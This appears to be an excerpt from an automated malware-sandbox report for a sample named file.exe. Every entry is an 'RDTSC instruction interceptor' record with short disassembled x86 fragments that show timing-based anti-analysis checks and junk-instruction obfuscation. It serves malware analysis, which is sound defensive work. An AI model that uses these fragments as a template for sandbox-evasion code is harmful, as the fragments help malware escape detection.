Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFC18 second address: BBFC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnp 00007FDDBD19A02Eh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFD53 second address: BBFD5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFD5E second address: BBFD62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFD62 second address: BBFD82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDDBCB6A6D1h 0x0000000c jo 00007FDDBCB6A6C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFEBD second address: BBFEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFEC1 second address: BBFED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFED8 second address: BBFEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jnp 00007FDDBD19A026h 0x0000000f pop ecx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBFEEB second address: BBFEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC007D second address: BC0084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0084 second address: BC008C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC01E5 second address: BC01F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDDBD19A039h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0CAD second address: BC0CB3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0CB3 second address: BC0CBD instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDDBD19A02Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC0CBD second address: BC0CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FDDBCB6A6D1h 0x0000000b jo 00007FDDBCB6A6C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC2739 second address: BC2753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDDBD19A030h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC2753 second address: BC2768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6BF3 second address: BC6C0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A038h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC6C0F second address: BC6C1B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDBCB6A6C6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4E17 second address: BD4E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4E1B second address: BD4E22 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDDED0 second address: BDDED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9015 second address: BD9020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9020 second address: BD9024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB3B7 second address: BEB3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDDBCB6A6C6h 0x0000000a jg 00007FDDBCB6A6C6h 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 jmp 00007FDDBCB6A6D0h 0x0000001a pop edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e ja 00007FDDBCB6A6C6h 0x00000024 jmp 00007FDDBCB6A6D5h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB3FC second address: BEB401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEB401 second address: BEB407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C042E8 second address: C042F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C042F4 second address: C042FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C042FD second address: C04307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04307 second address: C04319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jns 00007FDDBCB6A6D2h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C034E0 second address: C03505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop ecx 0x0000000b jno 00007FDDBD19A02Ah 0x00000011 popad 0x00000012 push edx 0x00000013 push esi 0x00000014 push esi 0x00000015 pop esi 0x00000016 jnc 00007FDDBD19A026h 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0401F second address: C04023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04023 second address: C04061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A033h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDDBD19A033h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDBD19A032h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C06EB2 second address: C06EC0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDDBCB6A6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C06EC0 second address: C06EEC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDBD19A026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edx, dword ptr [ebp+122D3DFEh] 0x00000014 push 00000004h 0x00000016 je 00007FDDBD19A02Ch 0x0000001c mov dword ptr [ebp+1245D704h], ebx 0x00000022 push 4860F057h 0x00000027 push ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C06EEC second address: C06EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0A045 second address: C0A04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0BC33 second address: C0BC3F instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDBCB6A6C6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0BC3F second address: C0BC44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090DF8 second address: 5090E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBCB6A6D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E10 second address: 5090E14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19B8F second address: B19B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B001E second address: 50B0023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0023 second address: 50B00B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDDBCB6A6D9h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 jmp 00007FDDBCB6A6CCh 0x00000016 pushfd 0x00000017 jmp 00007FDDBCB6A6D2h 0x0000001c sbb cl, FFFFFFF8h 0x0000001f jmp 00007FDDBCB6A6CBh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 jmp 00007FDDBCB6A6D6h 0x0000002d mov edx, dword ptr [ebp+0Ch] 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FDDBCB6A6D7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B00B5 second address: 50B00CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBD19A034h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B00CD second address: 50B00E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B00E6 second address: 50B00F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 65ED4EC4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B00F0 second address: 50B010D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBCB6A6D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0591 second address: 50A05EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A038h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a movsx edi, ax 0x0000000d pop ecx 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 jmp 00007FDDBD19A039h 0x00000017 mov ebp, esp 0x00000019 jmp 00007FDDBD19A02Eh 0x0000001e xchg eax, ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDDBD19A02Ah 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05EE second address: 50A05F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A05F4 second address: 50A0617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDBD19A02Ch 0x00000008 mov cx, CBF1h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov eax, 43EF194Fh 0x00000018 mov dx, cx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0617 second address: 50A061D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A061D second address: 50A069F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A033h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDDBD19A034h 0x00000013 adc si, 5C58h 0x00000018 jmp 00007FDDBD19A02Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FDDBD19A038h 0x00000024 adc ah, FFFFFFB8h 0x00000027 jmp 00007FDDBD19A02Bh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FDDBD19A035h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A069F second address: 50A06AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBCB6A6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A06AF second address: 50A072E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov si, BC63h 0x0000000e pushfd 0x0000000f jmp 00007FDDBD19A038h 0x00000014 adc esi, 3AD042A8h 0x0000001a jmp 00007FDDBD19A02Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 movzx eax, bx 0x00000026 mov eax, edx 0x00000028 popad 0x00000029 lea eax, dword ptr [ebp-04h] 0x0000002c pushad 0x0000002d pushad 0x0000002e mov dl, 34h 0x00000030 jmp 00007FDDBD19A030h 0x00000035 popad 0x00000036 push eax 0x00000037 push edx 0x00000038 pushfd 0x00000039 jmp 00007FDDBD19A030h 0x0000003e sub eax, 2F5CD768h 0x00000044 jmp 00007FDDBD19A02Bh 0x00000049 popfd 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A072E second address: 50A07CD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDDBCB6A6D8h 0x00000008 or ax, 29C8h 0x0000000d jmp 00007FDDBCB6A6CBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 nop 0x00000017 pushad 0x00000018 jmp 00007FDDBCB6A6D4h 0x0000001d pushfd 0x0000001e jmp 00007FDDBCB6A6D2h 0x00000023 sub esi, 3596EF58h 0x00000029 jmp 00007FDDBCB6A6CBh 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007FDDBCB6A6D9h 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007FDDBCB6A6D3h 0x0000003f mov ch, F0h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07CD second address: 50A07D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07D3 second address: 50A07D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A001F second address: 50A0065 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDDBD19A02Bh 0x00000008 xor ax, C15Eh 0x0000000d jmp 00007FDDBD19A039h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FDDBD19A02Eh 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0065 second address: 50A0069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0069 second address: 50A0085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A038h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0085 second address: 50A008B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A008B second address: 50A00E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A02Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FDDBD19A02Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov edi, eax 0x00000016 jmp 00007FDDBD19A02Ah 0x0000001b popad 0x0000001c push FFFFFFFEh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushfd 0x00000022 jmp 00007FDDBD19A02Ch 0x00000027 and esi, 7962AC78h 0x0000002d jmp 00007FDDBD19A02Bh 0x00000032 popfd 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A00E1 second address: 50A00EC instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A00EC second address: 50A013F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDDBD19A031h 0x00000008 adc ax, 9516h 0x0000000d jmp 00007FDDBD19A031h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 call 00007FDDBD19A029h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FDDBD19A038h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A013F second address: 50A0145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0145 second address: 50A014B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A014B second address: 50A014F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A014F second address: 50A0153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0153 second address: 50A01B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FDDBCB6A6CFh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FDDBCB6A6D9h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a mov edi, 615B690Eh 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jmp 00007FDDBCB6A6D4h 0x00000029 pop eax 0x0000002a pushad 0x0000002b mov edi, esi 0x0000002d push eax 0x0000002e push edx 0x0000002f push esi 0x00000030 pop ebx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A01B1 second address: 50A0267 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push 27F27E4Fh 0x0000000c jmp 00007FDDBD19A037h 0x00000011 add dword ptr [esp], 4ECFAD21h 0x00000018 jmp 00007FDDBD19A036h 0x0000001d mov eax, dword ptr fs:[00000000h] 0x00000023 jmp 00007FDDBD19A030h 0x00000028 nop 0x00000029 jmp 00007FDDBD19A030h 0x0000002e push eax 0x0000002f jmp 00007FDDBD19A02Bh 0x00000034 nop 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 call 00007FDDBD19A02Bh 0x0000003d pop esi 0x0000003e pushfd 0x0000003f jmp 00007FDDBD19A039h 0x00000044 xor ecx, 34D27AC6h 0x0000004a jmp 00007FDDBD19A031h 0x0000004f popfd 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0267 second address: 50A032C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDDBCB6A6CAh 0x00000009 or si, 8B68h 0x0000000e jmp 00007FDDBCB6A6CBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 sub esp, 18h 0x0000001a jmp 00007FDDBCB6A6D6h 0x0000001f xchg eax, ebx 0x00000020 jmp 00007FDDBCB6A6D0h 0x00000025 push eax 0x00000026 pushad 0x00000027 push edi 0x00000028 mov bh, ah 0x0000002a pop edx 0x0000002b call 00007FDDBCB6A6D6h 0x00000030 mov eax, 289A8CB1h 0x00000035 pop ecx 0x00000036 popad 0x00000037 xchg eax, ebx 0x00000038 jmp 00007FDDBCB6A6CDh 0x0000003d xchg eax, esi 0x0000003e jmp 00007FDDBCB6A6CEh 0x00000043 push eax 0x00000044 pushad 0x00000045 pushad 0x00000046 mov ebx, 71019C82h 0x0000004b mov ecx, edx 0x0000004d popad 0x0000004e jmp 00007FDDBCB6A6CFh 0x00000053 popad 0x00000054 xchg eax, esi 0x00000055 jmp 00007FDDBCB6A6D6h 0x0000005a xchg eax, edi 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A032C second address: 50A0330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0330 second address: 50A034D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A034D second address: 50A0377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A031h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c movsx edi, si 0x0000000f mov eax, 230C5625h 0x00000014 popad 0x00000015 mov dl, ah 0x00000017 popad 0x00000018 xchg eax, edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0377 second address: 50A03A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDDBCB6A6D4h 0x0000000a xor ax, 5E68h 0x0000000f jmp 00007FDDBCB6A6CBh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03A2 second address: 50A03D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76C84538h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDBD19A02Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03D3 second address: 50A03D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A03D9 second address: 50A03DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
